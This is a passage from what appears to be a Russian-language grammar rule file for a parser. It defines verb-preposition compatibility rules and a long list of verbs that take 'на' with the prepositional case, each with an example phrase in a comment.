уйти в BEA Systems fact гл_предл { if context { Гл_В_Вин предлог:в{} @regex("[a-z]+[0-9]*") } then return true } fact гл_предл { if context { Гл_В_Вин предлог:в{} *:*{ падеж:вин } } then return true } fact гл_предл { if context { глагол:подвывать{} предлог:в{} существительное:такт{ падеж:вин } } then return true } #endregion Винительный // Все остальные варианты по умолчанию запрещаем. fact гл_предл { if context { * предлог:в{} *:*{ падеж:предл } } then return false,-3 } fact гл_предл { if context { * предлог:в{} *:*{ падеж:мест } } then return false,-3 } fact гл_предл { if context { * предлог:в{} *:*{ падеж:вин } } then return false,-4 } fact гл_предл { if context { * предлог:в{} * } then return false,-5 } #endregion Предлог_В #region Предлог_НА // ------------------- С ПРЕДЛОГОМ 'НА' --------------------------- #region ПРЕДЛОЖНЫЙ // НА+предложный падеж: // ЛЕЖАТЬ НА СТОЛЕ #region VerbList wordentry_set Гл_НА_Предл= { rus_verbs:заслушать{}, // Вопрос заслушали на сессии облсовета rus_verbs:ПРОСТУПАТЬ{}, // На лбу, носу и щеке проступало черное пятно кровоподтека. (ПРОСТУПАТЬ/ПРОСТУПИТЬ) rus_verbs:ПРОСТУПИТЬ{}, // rus_verbs:ВИДНЕТЬСЯ{}, // На другой стороне Океана виднелась полоска суши, окружавшая нижний ярус планеты. (ВИДНЕТЬСЯ) rus_verbs:ЗАВИСАТЬ{}, // Машина умела зависать в воздухе на любой высоте (ЗАВИСАТЬ) rus_verbs:ЗАМЕРЕТЬ{}, // Скользнув по траве, он замер на боку (ЗАМЕРЕТЬ, локатив) rus_verbs:ЗАМИРАТЬ{}, // rus_verbs:ЗАКРЕПИТЬ{}, // Он вручил ей лишний кинжал, который она воткнула в рубаху и закрепила на подоле. (ЗАКРЕПИТЬ) rus_verbs:УПОЛЗТИ{}, // Зверь завизжал и попытался уползти на двух невредимых передних ногах. (УПОЛЗТИ/УПОЛЗАТЬ) rus_verbs:УПОЛЗАТЬ{}, // rus_verbs:БОЛТАТЬСЯ{}, // Тело его будет болтаться на пространственных ветрах, пока не сгниет веревка. (БОЛТАТЬСЯ) rus_verbs:РАЗВЕРНУТЬ{}, // Филиппины разрешат США развернуть военные базы на своей территории (РАЗВЕРНУТЬ) rus_verbs:ПОЛУЧИТЬ{}, // Я пытался узнать секреты и получить советы на официальном русскоязычном форуме (ПОЛУЧИТЬ) rus_verbs:ЗАСИЯТЬ{}, // Он активировал управление, и на экране снова засияло изображение полумесяца. (ЗАСИЯТЬ) rus_verbs:ВЗОРВАТЬСЯ{}, // Смертник взорвался на предвыборном митинге в Пакистане (ВЗОРВАТЬСЯ) rus_verbs:искриться{}, rus_verbs:ОДЕРЖИВАТЬ{}, // На выборах в иранский парламент победу одерживают противники действующего президента (ОДЕРЖИВАТЬ) rus_verbs:ПРЕСЕЧЬ{}, // На Украине пресекли дерзкий побег заключенных на вертолете (ПРЕСЕЧЬ) rus_verbs:УЛЕТЕТЬ{}, // Голый норвежец улетел на лыжах с трамплина на 60 метров (УЛЕТЕТЬ) rus_verbs:ПРОХОДИТЬ{}, // укрывающийся в лесу американский подросток проходил инициацию на охоте, выпив кружку крови первого убитого им оленя (ПРОХОДИТЬ) rus_verbs:СУЩЕСТВОВАТЬ{}, // На Марсе существовали условия для жизни (СУЩЕСТВОВАТЬ) rus_verbs:УКАЗАТЬ{}, // Победу в Лиге чемпионов укажут на часах (УКАЗАТЬ) rus_verbs:отвести{}, // отвести душу на людях rus_verbs:сходиться{}, // Оба профессора сходились на том, что в черепной коробке динозавра rus_verbs:сойтись{}, rus_verbs:ОБНАРУЖИТЬ{}, // Доказательство наличия подповерхностного океана на Европе обнаружено на её поверхности (ОБНАРУЖИТЬ) rus_verbs:НАБЛЮДАТЬСЯ{}, // Редкий зодиакальный свет вскоре будет наблюдаться на ночном небе (НАБЛЮДАТЬСЯ) rus_verbs:ДОСТИГНУТЬ{}, // На всех аварийных реакторах достигнуто состояние так называемой холодной остановки (ДОСТИГНУТЬ/ДОСТИЧЬ) глагол:ДОСТИЧЬ{}, инфинитив:ДОСТИЧЬ{}, rus_verbs:завершить{}, // Российские биатлонисты завершили чемпионат мира на мажорной ноте rus_verbs:РАСКЛАДЫВАТЬ{}, rus_verbs:ФОКУСИРОВАТЬСЯ{}, // Инвесторы предпочитают фокусироваться на среднесрочных ожиданиях (ФОКУСИРОВАТЬСЯ) rus_verbs:ВОСПРИНИМАТЬ{}, // как несерьезно воспринимали его на выборах мэра (ВОСПРИНИМАТЬ) rus_verbs:БУШЕВАТЬ{}, // на территории Тверской области бушевала гроза , в результате которой произошло отключение электроснабжения в ряде муниципальных образований региона (БУШЕВАТЬ) rus_verbs:УЧАСТИТЬСЯ{}, // В последние месяцы в зоне ответственности бундесвера на севере Афганистана участились случаи обстрелов полевых лагерей немецких миротворцев (УЧАСТИТЬСЯ) rus_verbs:ВЫИГРАТЬ{}, // Почему женская сборная России не может выиграть медаль на чемпионате мира (ВЫИГРАТЬ) rus_verbs:ПРОПАСТЬ{}, // Пропавшим на прогулке актером заинтересовались следователи (ПРОПАСТЬ) rus_verbs:УБИТЬ{}, // Силовики убили двух боевиков на административной границе Ингушетии и Чечни (УБИТЬ) rus_verbs:подпрыгнуть{}, // кобель нелепо подпрыгнул на трех ногах , а его хозяин отправил струю пива мимо рта rus_verbs:подпрыгивать{}, rus_verbs:высветиться{}, // на компьютере высветится твоя подпись rus_verbs:фигурировать{}, // его портрет фигурирует на страницах печати и телеэкранах rus_verbs:действовать{}, // выявленный контрабандный канал действовал на постоянной основе rus_verbs:СОХРАНИТЬСЯ{}, // На рынке международных сделок IPO сохранится высокая активность (СОХРАНИТЬСЯ НА) rus_verbs:ПРОЙТИ{}, // Необычный конкурс прошёл на севере Швеции (ПРОЙТИ НА предл) rus_verbs:НАЧАТЬСЯ{}, // На северо-востоке США началась сильная снежная буря. (НАЧАТЬСЯ НА предл) rus_verbs:ВОЗНИКНУТЬ{}, // Конфликт возник на почве совместной коммерческой деятельности по выращиванию овощей и зелени (ВОЗНИКНУТЬ НА) rus_verbs:СВЕТИТЬСЯ{}, // она по-прежнему светится на лицах людей (СВЕТИТЬСЯ НА предл) rus_verbs:ОРГАНИЗОВАТЬ{}, // Власти Москвы намерены организовать масленичные гуляния на 100 площадках (ОРГАНИЗОВАТЬ НА предл) rus_verbs:ИМЕТЬ{}, // Имея власть на низовом уровне, оказывать самое непосредственное и определяющее влияние на верховную власть (ИМЕТЬ НА предл) rus_verbs:ОПРОБОВАТЬ{}, // Опробовать и отточить этот инструмент на местных и региональных выборах (ОПРОБОВАТЬ, ОТТОЧИТЬ НА предл) rus_verbs:ОТТОЧИТЬ{}, rus_verbs:ДОЛОЖИТЬ{}, // Участникам совещания предложено подготовить по этому вопросу свои предложения и доложить на повторной встрече (ДОЛОЖИТЬ НА предл) rus_verbs:ОБРАЗОВЫВАТЬСЯ{}, // Солевые и пылевые бури , образующиеся на поверхности обнаженной площади моря , уничтожают урожаи и растительность (ОБРАЗОВЫВАТЬСЯ НА) rus_verbs:СОБРАТЬ{}, // использует собранные на местном рынке депозиты (СОБРАТЬ НА предл) инфинитив:НАХОДИТЬСЯ{ вид:несоверш}, // находившихся на борту самолета (НАХОДИТЬСЯ НА предл) глагол:НАХОДИТЬСЯ{ вид:несоверш }, прилагательное:находившийся{ вид:несоверш }, прилагательное:находящийся{ вид:несоверш }, деепричастие:находясь{}, rus_verbs:ГОТОВИТЬ{}, // пищу готовят сами на примусах (ГОТОВИТЬ НА предл) rus_verbs:РАЗДАТЬСЯ{}, // Они сообщили о сильном хлопке , который раздался на территории нефтебазы (РАЗДАТЬСЯ НА) rus_verbs:ПОДСКАЛЬЗЫВАТЬСЯ{}, // подскальзываться на той же апельсиновой корке (ПОДСКАЛЬЗЫВАТЬСЯ НА) rus_verbs:СКРЫТЬСЯ{}, // Германия: латвиец ограбил магазин и попытался скрыться на такси (СКРЫТЬСЯ НА предл) rus_verbs:ВЫРАСТИТЬ{}, // Пациенту вырастили новый нос на руке (ВЫРАСТИТЬ НА) rus_verbs:ПРОДЕМОНСТРИРОВАТЬ{}, // Они хотят подчеркнуть эмоциональную тонкость оппозиционера и на этом фоне продемонстрировать бездушность российской власти (ПРОДЕМОНСТРИРОВАТЬ НА предл) rus_verbs:ОСУЩЕСТВЛЯТЬСЯ{}, // первичный анализ смеси запахов может осуществляться уже на уровне рецепторных нейронов благодаря механизму латерального торможения (ОСУЩЕСТВЛЯТЬСЯ НА) rus_verbs:ВЫДЕЛЯТЬСЯ{}, // Ягоды брусники, резко выделяющиеся своим красным цветом на фоне зелёной листвы, поедаются животными и птицами (ВЫДЕЛЯТЬСЯ НА) rus_verbs:РАСКРЫТЬ{}, // На Украине раскрыто крупное мошенничество в сфере туризма (РАСКРЫТЬ НА) rus_verbs:ОБЖАРИВАТЬСЯ{}, // Омлет обжаривается на сливочном масле с одной стороны, пока он почти полностью не загустеет (ОБЖАРИВАТЬСЯ НА) rus_verbs:ПРИГОТОВЛЯТЬ{}, // Яичница — блюдо европейской кухни, приготовляемое на сковороде из разбитых яиц (ПРИГОТОВЛЯТЬ НА) rus_verbs:РАССАДИТЬ{}, // Женька рассадил игрушки на скамеечке (РАССАДИТЬ НА) rus_verbs:ОБОЖДАТЬ{}, // обожди Анжелу на остановке троллейбуса (ОБОЖДАТЬ НА) rus_verbs:УЧИТЬСЯ{}, // Марина учится на факультете журналистики (УЧИТЬСЯ НА предл) rus_verbs:раскладываться{}, // Созревшие семенные экземпляры раскладывают на солнце или в теплом месте, где они делаются мягкими (РАСКЛАДЫВАТЬСЯ В, НА) rus_verbs:ПОСЛУШАТЬ{}, // Послушайте друзей и врагов на расстоянии! (ПОСЛУШАТЬ НА) rus_verbs:ВЕСТИСЬ{}, // На стороне противника всю ночь велась перегруппировка сил. (ВЕСТИСЬ НА) rus_verbs:ПОИНТЕРЕСОВАТЬСЯ{}, // корреспондент поинтересовался у людей на улице (ПОИНТЕРЕСОВАТЬСЯ НА) rus_verbs:ОТКРЫВАТЬСЯ{}, // Российские биржи открываются на негативном фоне (ОТКРЫВАТЬСЯ НА) rus_verbs:СХОДИТЬ{}, // Вы сходите на следующей остановке? (СХОДИТЬ НА) rus_verbs:ПОГИБНУТЬ{}, // Её отец погиб на войне. (ПОГИБНУТЬ НА) rus_verbs:ВЫЙТИ{}, // Книга выйдет на будущей неделе. (ВЫЙТИ НА предл) rus_verbs:НЕСТИСЬ{}, // Корабль несётся на всех парусах. (НЕСТИСЬ НА предл) rus_verbs:вкалывать{}, // Папа вкалывает на работе, чтобы прокормить семью (вкалывать на) rus_verbs:доказать{}, // разработчики доказали на практике применимость данного подхода к обсчету сцен (доказать на, применимость к) rus_verbs:хулиганить{}, // дозволять кому-то хулиганить на кладбище (хулиганить на) глагол:вычитать{вид:соверш}, инфинитив:вычитать{вид:соверш}, // вычитать на сайте (вычитать на сайте) деепричастие:вычитав{}, rus_verbs:аккомпанировать{}, // он аккомпанировал певцу на губной гармошке (аккомпанировать на) rus_verbs:набрать{}, // статья с заголовком, набранным на компьютере rus_verbs:сделать{}, // книга с иллюстрацией, сделанной на компьютере rus_verbs:развалиться{}, // Антонио развалился на диване rus_verbs:улечься{}, // Антонио улегся на полу rus_verbs:зарубить{}, // Заруби себе на носу. rus_verbs:ценить{}, // Его ценят на заводе. rus_verbs:вернуться{}, // Отец вернулся на закате. rus_verbs:шить{}, // Вы умеете шить на машинке? rus_verbs:бить{}, // Скот бьют на бойне. rus_verbs:выехать{}, // Мы выехали на рассвете. rus_verbs:валяться{}, // На полу валяется бумага. rus_verbs:разложить{}, // она разложила полотенце на песке rus_verbs:заниматься{}, // я занимаюсь на тренажере rus_verbs:позаниматься{}, rus_verbs:порхать{}, // порхать на лугу rus_verbs:пресекать{}, // пресекать на корню rus_verbs:изъясняться{}, // изъясняться на непонятном языке rus_verbs:развесить{}, // развесить на столбах rus_verbs:обрасти{}, // обрасти на южной части rus_verbs:откладываться{}, // откладываться на стенках артерий rus_verbs:уносить{}, // уносить на носилках rus_verbs:проплыть{}, // проплыть на плоту rus_verbs:подъезжать{}, // подъезжать на повозках rus_verbs:пульсировать{}, // пульсировать на лбу rus_verbs:рассесться{}, // птицы расселись на ветках rus_verbs:застопориться{}, // застопориться на первом пункте rus_verbs:изловить{}, // изловить на окраинах rus_verbs:покататься{}, // покататься на машинках rus_verbs:залопотать{}, // залопотать на неизвестном языке rus_verbs:растягивать{}, // растягивать на станке rus_verbs:поделывать{}, // поделывать на пляже rus_verbs:подстеречь{}, // подстеречь на площадке rus_verbs:проектировать{}, // проектировать на компьютере rus_verbs:притулиться{}, // притулиться на кушетке rus_verbs:дозволять{}, // дозволять кому-то хулиганить на кладбище rus_verbs:пострелять{}, // пострелять на испытательном полигоне rus_verbs:засиживаться{}, // засиживаться на работе rus_verbs:нежиться{}, // нежиться на солнышке rus_verbs:притомиться{}, // притомиться на рабочем месте rus_verbs:поселяться{}, // поселяться на чердаке rus_verbs:потягиваться{}, // потягиваться на земле rus_verbs:отлеживаться{}, // отлеживаться на койке rus_verbs:протаранить{}, // протаранить на танке rus_verbs:гарцевать{}, // гарцевать на коне rus_verbs:облупиться{}, // облупиться на носу rus_verbs:оговорить{}, // оговорить на собеседовании rus_verbs:зарегистрироваться{}, // зарегистрироваться на сайте rus_verbs:отпечатать{}, // отпечатать на картоне rus_verbs:сэкономить{}, // сэкономить на мелочах rus_verbs:покатать{}, // покатать на пони rus_verbs:колесить{}, // колесить на старой машине rus_verbs:понастроить{}, // понастроить на участках rus_verbs:поджарить{}, // поджарить на костре rus_verbs:узнаваться{}, // узнаваться на фотографии rus_verbs:отощать{}, // отощать на казенных харчах rus_verbs:редеть{}, // редеть на макушке rus_verbs:оглашать{}, // оглашать на общем собрании rus_verbs:лопотать{}, // лопотать на иврите rus_verbs:пригреть{}, // пригреть на груди rus_verbs:консультироваться{}, // консультироваться на форуме rus_verbs:приноситься{}, // приноситься на одежде rus_verbs:сушиться{}, // сушиться на балконе rus_verbs:наследить{}, // наследить на полу rus_verbs:нагреться{}, // нагреться на солнце rus_verbs:рыбачить{}, // рыбачить на озере rus_verbs:прокатить{}, // прокатить на выборах rus_verbs:запинаться{}, // запинаться на ровном месте rus_verbs:отрубиться{}, // отрубиться на мягкой подушке rus_verbs:заморозить{}, // заморозить на улице rus_verbs:промерзнуть{}, // промерзнуть на открытом воздухе rus_verbs:просохнуть{}, // просохнуть на батарее rus_verbs:развозить{}, // развозить на велосипеде rus_verbs:прикорнуть{}, // прикорнуть на диванчике rus_verbs:отпечататься{}, // отпечататься на коже rus_verbs:выявлять{}, // выявлять на таможне rus_verbs:расставлять{}, // расставлять на башнях rus_verbs:прокрутить{}, // прокрутить на пальце rus_verbs:умываться{}, // умываться на улице rus_verbs:пересказывать{}, // пересказывать на страницах романа rus_verbs:удалять{}, // удалять на пуховике rus_verbs:хозяйничать{}, // хозяйничать на складе rus_verbs:оперировать{}, // оперировать на поле боя rus_verbs:поносить{}, // поносить на голове rus_verbs:замурлыкать{}, // замурлыкать на коленях rus_verbs:передвигать{}, // передвигать на тележке rus_verbs:прочертить{}, // прочертить на земле rus_verbs:колдовать{}, // колдовать на кухне rus_verbs:отвозить{}, // отвозить на казенном транспорте rus_verbs:трахать{}, // трахать на природе rus_verbs:мастерить{}, // мастерить на кухне rus_verbs:ремонтировать{}, // ремонтировать на коленке rus_verbs:развезти{}, // развезти на велосипеде rus_verbs:робеть{}, // робеть на сцене инфинитив:реализовать{ вид:несоверш }, инфинитив:реализовать{ вид:соверш }, // реализовать на сайте глагол:реализовать{ вид:несоверш }, глагол:реализовать{ вид:соверш }, деепричастие:реализовав{}, деепричастие:реализуя{}, rus_verbs:покаяться{}, // покаяться на смертном одре rus_verbs:специализироваться{}, // специализироваться на тестировании rus_verbs:попрыгать{}, // попрыгать на батуте rus_verbs:переписывать{}, // переписывать на столе rus_verbs:расписывать{}, // расписывать на доске rus_verbs:зажимать{}, // зажимать на запястье rus_verbs:практиковаться{}, // практиковаться на мышах rus_verbs:уединиться{}, // уединиться на чердаке rus_verbs:подохнуть{}, // подохнуть на чужбине rus_verbs:приподниматься{}, // приподниматься на руках rus_verbs:уродиться{}, // уродиться на полях rus_verbs:продолжиться{}, // продолжиться на улице rus_verbs:посапывать{}, // посапывать на диване rus_verbs:ободрать{}, // ободрать на спине rus_verbs:скрючиться{}, // скрючиться на песке rus_verbs:тормознуть{}, // тормознуть на перекрестке rus_verbs:лютовать{}, // лютовать на хуторе rus_verbs:зарегистрировать{}, // зарегистрировать на сайте rus_verbs:переждать{}, // переждать на вершине холма rus_verbs:доминировать{}, // доминировать на территории rus_verbs:публиковать{}, // публиковать на сайте rus_verbs:морщить{}, // морщить на лбу rus_verbs:сконцентрироваться{}, // сконцентрироваться на главном rus_verbs:подрабатывать{}, // подрабатывать на рынке rus_verbs:репетировать{}, // репетировать на заднем дворе rus_verbs:подвернуть{}, // подвернуть на брусчатке rus_verbs:зашелестеть{}, // зашелестеть на ветру rus_verbs:расчесывать{}, // расчесывать на спине rus_verbs:одевать{}, // одевать на рынке rus_verbs:испечь{}, // испечь на углях rus_verbs:сбрить{}, // сбрить на затылке rus_verbs:согреться{}, // согреться на печке rus_verbs:замаячить{}, // замаячить на горизонте rus_verbs:пересчитывать{}, // пересчитывать на пальцах rus_verbs:галдеть{}, // галдеть на крыльце rus_verbs:переплыть{}, // переплыть на плоту rus_verbs:передохнуть{}, // передохнуть на скамейке rus_verbs:прижиться{}, // прижиться на ферме rus_verbs:переправляться{}, // переправляться на плотах rus_verbs:накупить{}, // накупить на блошином рынке rus_verbs:проторчать{}, // проторчать на виду rus_verbs:мокнуть{}, // мокнуть на улице rus_verbs:застукать{}, // застукать на камбузе rus_verbs:завязывать{}, // завязывать на ботинках rus_verbs:повисать{}, // повисать на ветке rus_verbs:подвизаться{}, // подвизаться на государственной службе rus_verbs:кормиться{}, // кормиться на болоте rus_verbs:покурить{}, // покурить на улице rus_verbs:зимовать{}, // зимовать на болотах rus_verbs:застегивать{}, // застегивать на гимнастерке rus_verbs:поигрывать{}, // поигрывать на гитаре rus_verbs:погореть{}, // погореть на махинациях с землей rus_verbs:кувыркаться{}, // кувыркаться на батуте rus_verbs:похрапывать{}, // похрапывать на диване rus_verbs:пригревать{}, // пригревать на груди rus_verbs:завязнуть{}, // завязнуть на болоте rus_verbs:шастать{}, // шастать на втором этаже rus_verbs:заночевать{}, // заночевать на сеновале rus_verbs:отсиживаться{}, // отсиживаться на чердаке rus_verbs:мчать{}, // мчать на байке rus_verbs:сгнить{}, // сгнить на урановых рудниках rus_verbs:тренировать{}, // тренировать на манекенах rus_verbs:повеселиться{}, // повеселиться на празднике rus_verbs:измучиться{}, // измучиться на болоте rus_verbs:увянуть{}, // увянуть на подоконнике rus_verbs:раскрутить{}, // раскрутить на оси rus_verbs:выцвести{}, // выцвести на солнечном свету rus_verbs:изготовлять{}, // изготовлять на коленке rus_verbs:гнездиться{}, // гнездиться на вершине дерева rus_verbs:разогнаться{}, // разогнаться на мотоцикле rus_verbs:излагаться{}, // излагаться на страницах доклада rus_verbs:сконцентрировать{}, // сконцентрировать на левом фланге rus_verbs:расчесать{}, // расчесать на макушке rus_verbs:плавиться{}, // плавиться на солнце rus_verbs:редактировать{}, // редактировать на ноутбуке rus_verbs:подскакивать{}, // подскакивать на месте rus_verbs:покупаться{}, // покупаться на рынке rus_verbs:промышлять{}, // промышлять на мелководье rus_verbs:приобретаться{}, // приобретаться на распродажах rus_verbs:наигрывать{}, // наигрывать на банджо rus_verbs:маневрировать{}, // маневрировать на флангах rus_verbs:запечатлеться{}, // запечатлеться на записях камер rus_verbs:укрывать{}, // укрывать на чердаке rus_verbs:подорваться{}, // подорваться на фугасе rus_verbs:закрепиться{}, // закрепиться на занятых позициях rus_verbs:громыхать{}, // громыхать на кухне инфинитив:подвигаться{ вид:соверш }, глагол:подвигаться{ вид:соверш }, // подвигаться на полу деепричастие:подвигавшись{}, rus_verbs:добываться{}, // добываться на территории Анголы rus_verbs:приплясывать{}, // приплясывать на сцене rus_verbs:доживать{}, // доживать на больничной койке rus_verbs:отпраздновать{}, // отпраздновать на работе rus_verbs:сгубить{}, // сгубить на корню rus_verbs:схоронить{}, // схоронить на кладбище rus_verbs:тускнеть{}, // тускнеть на солнце rus_verbs:скопить{}, // скопить на счету rus_verbs:помыть{}, // помыть на своем этаже rus_verbs:пороть{}, // пороть на конюшне rus_verbs:наличествовать{}, // наличествовать на складе rus_verbs:нащупывать{}, // нащупывать на полке rus_verbs:змеиться{}, // змеиться на дне rus_verbs:пожелтеть{}, // пожелтеть на солнце rus_verbs:заостриться{}, // заостриться на конце rus_verbs:свезти{}, // свезти на поле rus_verbs:прочувствовать{}, // прочувствовать на своей шкуре rus_verbs:подкрутить{}, // подкрутить на приборной панели rus_verbs:рубиться{}, // рубиться на мечах rus_verbs:сиживать{}, // сиживать на крыльце rus_verbs:тараторить{}, // тараторить на иностранном языке rus_verbs:теплеть{}, // теплеть на сердце rus_verbs:покачаться{}, // покачаться на ветке rus_verbs:сосредоточиваться{}, // сосредоточиваться на главной задаче rus_verbs:развязывать{}, // развязывать на ботинках rus_verbs:подвозить{}, // подвозить на мотороллере rus_verbs:вышивать{}, // вышивать на рубашке rus_verbs:скупать{}, // скупать на открытом рынке rus_verbs:оформлять{}, // оформлять на встрече rus_verbs:распускаться{}, // распускаться на клумбах rus_verbs:прогореть{}, // прогореть на спекуляциях rus_verbs:приползти{}, // приползти на коленях rus_verbs:загореть{}, // загореть на пляже rus_verbs:остудить{}, // остудить на балконе rus_verbs:нарвать{}, // нарвать на поляне rus_verbs:издохнуть{}, // издохнуть на болоте rus_verbs:разгружать{}, // разгружать на дороге rus_verbs:произрастать{}, // произрастать на болотах rus_verbs:разуться{}, // разуться на коврике rus_verbs:сооружать{}, // сооружать на площади rus_verbs:зачитывать{}, // зачитывать на митинге rus_verbs:уместиться{}, // уместиться на ладони rus_verbs:закупить{}, // закупить на рынке rus_verbs:горланить{}, // горланить на улице rus_verbs:экономить{}, // экономить на спичках rus_verbs:исправлять{}, // исправлять на доске rus_verbs:расслабляться{}, // расслабляться на лежаке rus_verbs:скапливаться{}, // скапливаться на крыше rus_verbs:сплетничать{}, // сплетничать на скамеечке rus_verbs:отъезжать{}, // отъезжать на лимузине rus_verbs:отчитывать{}, // отчитывать на собрании rus_verbs:сфокусировать{}, // сфокусировать на удаленной точке rus_verbs:потчевать{}, // потчевать на лаврах rus_verbs:окопаться{}, // окопаться на окраине rus_verbs:загорать{}, // загорать на пляже rus_verbs:обгореть{}, // обгореть на солнце rus_verbs:распознавать{}, // распознавать на фотографии rus_verbs:заплетаться{}, // заплетаться на макушке rus_verbs:перегреться{}, // перегреться на жаре rus_verbs:подметать{}, // подметать на крыльце rus_verbs:нарисоваться{}, // нарисоваться на горизонте rus_verbs:проскакивать{}, // проскакивать на экране rus_verbs:попивать{}, // попивать на балконе чай rus_verbs:отплывать{}, // отплывать на лодке rus_verbs:чирикать{}, // чирикать на ветках rus_verbs:скупить{}, // скупить на оптовых базах rus_verbs:наколоть{}, // наколоть на коже картинку rus_verbs:созревать{}, // созревать на ветке rus_verbs:проколоться{}, // проколоться на мелочи rus_verbs:крутнуться{}, // крутнуться на заднем колесе rus_verbs:переночевать{}, // переночевать на постоялом дворе rus_verbs:концентрироваться{}, // концентрироваться на фильтре rus_verbs:одичать{}, // одичать на хуторе rus_verbs:спасаться{}, // спасаются на лодке rus_verbs:доказываться{}, // доказываться на страницах книги rus_verbs:познаваться{}, // познаваться на ринге rus_verbs:замыкаться{}, // замыкаться на металлическом предмете rus_verbs:заприметить{}, // заприметить на пригорке rus_verbs:продержать{}, // продержать на морозе rus_verbs:форсировать{}, // форсировать на плотах rus_verbs:сохнуть{}, // сохнуть на солнце rus_verbs:выявить{}, // выявить на поверхности rus_verbs:заседать{}, // заседать на кафедре rus_verbs:расплачиваться{}, // расплачиваться на выходе rus_verbs:светлеть{}, // светлеть на горизонте rus_verbs:залепетать{}, // залепетать на незнакомом языке rus_verbs:подсчитывать{}, // подсчитывать на пальцах rus_verbs:зарыть{}, // зарыть на пустыре rus_verbs:сформироваться{}, // сформироваться на месте rus_verbs:развертываться{}, // развертываться на площадке rus_verbs:набивать{}, // набивать на манекенах rus_verbs:замерзать{}, // замерзать на ветру rus_verbs:схватывать{}, // схватывать на лету rus_verbs:перевестись{}, // перевестись на Руси rus_verbs:смешивать{}, // смешивать на блюдце rus_verbs:прождать{}, // прождать на входе rus_verbs:мерзнуть{}, // мерзнуть на ветру rus_verbs:растирать{}, // растирать на коже rus_verbs:переспать{}, // переспал на сеновале rus_verbs:рассекать{}, // рассекать на скутере rus_verbs:опровергнуть{}, // опровергнуть на высшем уровне rus_verbs:дрыхнуть{}, // дрыхнуть на диване rus_verbs:распять{}, // распять на кресте rus_verbs:запечься{}, // запечься на костре rus_verbs:застилать{}, // застилать на балконе rus_verbs:сыскаться{}, // сыскаться на огороде rus_verbs:разориться{}, // разориться на продаже спичек rus_verbs:переделать{}, // переделать на станке rus_verbs:разъяснять{}, // разъяснять на страницах газеты rus_verbs:поседеть{}, // поседеть на висках rus_verbs:протащить{}, // протащить на спине rus_verbs:осуществиться{}, // осуществиться на деле rus_verbs:селиться{}, // селиться на окраине rus_verbs:оплачивать{}, // оплачивать на первой кассе rus_verbs:переворачивать{}, // переворачивать на сковородке rus_verbs:упражняться{}, // упражняться на батуте rus_verbs:испробовать{}, // испробовать на себе rus_verbs:разгладиться{}, // разгладиться на спине rus_verbs:рисоваться{}, // рисоваться на стекле rus_verbs:продрогнуть{}, // продрогнуть на морозе rus_verbs:пометить{}, // пометить на доске rus_verbs:приютить{}, // приютить на чердаке rus_verbs:избирать{}, // избирать на первых свободных выборах rus_verbs:затеваться{}, // затеваться на матче rus_verbs:уплывать{}, // уплывать на катере rus_verbs:замерцать{}, // замерцать на рекламном щите rus_verbs:фиксироваться{}, // фиксироваться на достигнутом уровне rus_verbs:запираться{}, // запираться на чердаке rus_verbs:загубить{}, // загубить на корню rus_verbs:развеяться{}, // развеяться на природе rus_verbs:съезжаться{}, // съезжаться на лимузинах rus_verbs:потанцевать{}, // потанцевать на могиле rus_verbs:дохнуть{}, // дохнуть на солнце rus_verbs:припарковаться{}, // припарковаться на газоне rus_verbs:отхватить{}, // отхватить на распродаже rus_verbs:остывать{}, // остывать на улице rus_verbs:переваривать{}, // переваривать на высокой ветке rus_verbs:подвесить{}, // подвесить на веревке rus_verbs:хвастать{}, // хвастать на работе rus_verbs:отрабатывать{}, // отрабатывать на уборке урожая rus_verbs:разлечься{}, // разлечься на полу rus_verbs:очертить{}, // очертить на полу rus_verbs:председательствовать{}, // председательствовать на собрании rus_verbs:сконфузиться{}, // сконфузиться на сцене rus_verbs:выявляться{}, // выявляться на ринге rus_verbs:крутануться{}, // крутануться на заднем колесе rus_verbs:караулить{}, // караулить на входе rus_verbs:перечислять{}, // перечислять на пальцах rus_verbs:обрабатывать{}, // обрабатывать на станке rus_verbs:настигать{}, // настигать на берегу rus_verbs:разгуливать{}, // разгуливать на берегу rus_verbs:насиловать{}, // насиловать на пляже rus_verbs:поредеть{}, // поредеть на макушке rus_verbs:учитывать{}, // учитывать на балансе rus_verbs:зарождаться{}, // зарождаться на большой глубине rus_verbs:распространять{}, // распространять на сайтах rus_verbs:пировать{}, // пировать на вершине холма rus_verbs:начертать{}, // начертать на стене rus_verbs:расцветать{}, // расцветать на подоконнике rus_verbs:умнеть{}, // умнеть на глазах rus_verbs:царствовать{}, // царствовать на окраине rus_verbs:закрутиться{}, // закрутиться на работе rus_verbs:отработать{}, // отработать на шахте rus_verbs:полечь{}, // полечь на поле брани rus_verbs:щебетать{}, // щебетать на ветке rus_verbs:подчеркиваться{}, // подчеркиваться на сайте rus_verbs:посеять{}, // посеять на другом поле rus_verbs:замечаться{}, // замечаться на пастбище rus_verbs:просчитать{}, // просчитать на пальцах rus_verbs:голосовать{}, // голосовать на трассе rus_verbs:маяться{}, // маяться на пляже rus_verbs:сколотить{}, // сколотить на службе rus_verbs:обретаться{}, // обретаться на чужбине rus_verbs:обливаться{}, // обливаться на улице rus_verbs:катать{}, // катать на лошадке rus_verbs:припрятать{}, // припрятать на теле rus_verbs:запаниковать{}, // запаниковать на экзамене инфинитив:слетать{ вид:соверш }, глагол:слетать{ вид:соверш }, // слетать на частном самолете деепричастие:слетав{}, rus_verbs:срубить{}, // срубить денег на спекуляциях rus_verbs:зажигаться{}, // зажигаться на улице rus_verbs:жарить{}, // жарить на углях rus_verbs:накапливаться{}, // накапливаться на счету rus_verbs:распуститься{}, // распуститься на грядке rus_verbs:рассаживаться{}, // рассаживаться на местах rus_verbs:странствовать{}, // странствовать на лошади rus_verbs:осматриваться{}, // осматриваться на месте rus_verbs:разворачивать{}, // разворачивать на завоеванной территории rus_verbs:согревать{}, // согревать на вершине горы rus_verbs:заскучать{}, // заскучать на вахте rus_verbs:перекусить{}, // перекусить на бегу rus_verbs:приплыть{}, // приплыть на тримаране rus_verbs:зажигать{}, // зажигать на танцах rus_verbs:закопать{}, // закопать на поляне rus_verbs:стирать{}, // стирать на берегу rus_verbs:подстерегать{}, // подстерегать на подходе rus_verbs:погулять{}, // погулять на свадьбе rus_verbs:огласить{}, // огласить на митинге rus_verbs:разбогатеть{}, // разбогатеть на прииске rus_verbs:грохотать{}, // грохотать на чердаке rus_verbs:расположить{}, // расположить на границе rus_verbs:реализоваться{}, // реализоваться на новой работе rus_verbs:застывать{}, // застывать на морозе rus_verbs:запечатлеть{}, // запечатлеть на пленке rus_verbs:тренироваться{}, // тренироваться на манекене rus_verbs:поспорить{}, // поспорить на совещании rus_verbs:затягивать{}, // затягивать на поясе 